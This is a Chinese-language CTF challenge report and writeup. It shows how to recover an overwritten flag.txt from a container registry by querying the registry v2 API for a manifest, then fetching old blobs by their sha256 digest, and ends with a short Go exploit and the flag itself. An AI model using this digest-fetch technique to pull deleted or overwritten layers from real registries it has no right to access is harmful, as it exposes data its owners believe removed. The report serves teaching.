出题报告: container/registry_misc

hwctf202001/container/registry_misc

题目描述

请获取该镜像仓库中的flag.txt docker pull swr.cn-south-1.myhuaweicloud.com/huaweictf/registry_misc:v2

  • 难度: 2/5
  • 预计解题时间: 3h

出题目的

  • 引导选手发现并学习registry v2 api
  • 引导选手理解业界镜像仓库的实现原理

writeup

直接执行docker pull发现无法下载镜像

st0n3@yoga:~$ docker pull swr.cn-south-1.myhuaweicloud.com/huaweictf/registry_misc:v2
Error response from daemon: mediaType in manifest should be 'application/vnd.docker.distribution.manifest.v2+json' not ''

根据题目描述、报错信息,经过搜索引擎搜索一段时间后,可以发现该镜像的格式不正确,所以docker daemon无法识别。

根据docker registry v2的官方文档(https://docs.docker.com/registry/spec/api/), 可以发现registry v2的api, 根据这些api应该可以下载文件内容

经过一段时间的学习,可以发现manifest是描述一个镜像的关键文件

GET /v2/<name>/manifests/<reference>
Host: <registry host>
Authorization: <scheme> <token>

查看该镜像的manifest如下

╭─st0n3@yoga in ~ 
╰$ curl -s -k -H "Authorization: Bearer x" -H "Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.docker.distribution.manifest.list.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, */*" https://swr.cn-south-1.myhuaweicloud.com/v2/huaweictf/registry_misc/manifests/v2 | python -m json.tool
{
    "config": {
        "digest": "sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a",
        "mediaType": "application/vnd.unknown.config.v1+json",
        "size": 2
    },
    "layers": [
        {
            "annotations": {
                "org.opencontainers.image.title": "flag.txt.sha256"
            },
            "digest": "sha256:6adb790c8a0650571d57e93b10e5d3afb1905cd89ce6d65ea69ad5025ce697b6",
            "mediaType": "application/vnd.oci.image.layer.v1.tar",
            "size": 75
        }
    ],
    "schemaVersion": 2
}

发现其中有一个layer名为flag.txt.sha256, 但是没有发现flag.txt ? 先使用blob api下载下来再说

GET /v2/<name>/blobs/<digest>
Host: <registry host>
Authorization: <scheme> <token>

直接访问发现会302,直接follow 即可获取flag.txt.sha256的内容

╭─st0n3@yoga in ~ 
╰$ curl -L -s -k -H "Authorization: Bearer x" -H "Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.docker.distribution.manifest.list.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, */*" https://swr.cn-south-1.myhuaweicloud.com/v2/huaweictf/registry_misc/blobs/sha256:6adb790c8a0650571d57e93b10e5d3afb1905cd89ce6d65ea69ad5025ce697b6    
69bccaa2d38b8f08503667662c99113a512e46581bc003b131d06de69c0f5e0d  flag.txt

看起来像是执行了sha256 flag.txt命令的结果

难道flag.txt即使不存在于镜像文件中,我们也能下载?

╭─st0n3@yoga in ~ 
╰$ curl -L -s -k -H "Authorization: Bearer x" -H "Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.docker.distribution.manifest.list.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, */*" https://swr.cn-south-1.myhuaweicloud.com/v2/huaweictf/registry_misc/blobs/sha256:69bccaa2d38b8f08503667662c99113a512e46581bc003b131d06de69c0f5e0d
flag{ssssssssst0n3}

成功了!

我们理一下,题目大概是这样的流程

  1. 上传了一个flag.txt到镜像仓库huaweictf/registry_misc:v2中
  2. 上传了flag.txt.sha256到镜像仓库huaweictf/registry_misc:v2中
  3. 此时flag.txt被覆盖了,看起来,我们应该无法再获取flag.txt

而实际上,历史上传的layer,会一直存在于镜像仓库中,能下载它的前提是知道它的sha256。

exp

package main

import (
	"github.com/ssst0n3/awesome_libs/awesome_error"
	"github.com/ssst0n3/awesome_libs/log"
	"github.com/ssst0n3/registry_v2_client/registry"
)

var (
	serviceAddress = "swr.cn-south-1.myhuaweicloud.com"
	repositoryName = "huaweictf/registry_misc"
	reference      = "v2"
	r              = registry.NewRegistry(serviceAddress, "", "", false)
)

func DownloadAllLayers() {
	manifest, err := r.GetManifest(repositoryName, reference)
	awesome_error.CheckFatal(err)
	for _, layer := range manifest.Layers {
		blob, err := r.FetchBlob(repositoryName, layer.Digest.String(), true)
		awesome_error.CheckFatal(err)
		log.Logger.Info(string(blob))
	}
}

func GetFlag() {
	// read from flag.txt.sha256
	digest := "sha256:69bccaa2d38b8f08503667662c99113a512e46581bc003b131d06de69c0f5e0d"
	blob, err := r.FetchBlob(repositoryName, digest, true)
	awesome_error.CheckFatal(err)
	log.Logger.Info(string(blob))
}

func main() {
	// get content of file flag.txt.sha256
	DownloadAllLayers()
	// get content of flag.txt
	GetFlag()
}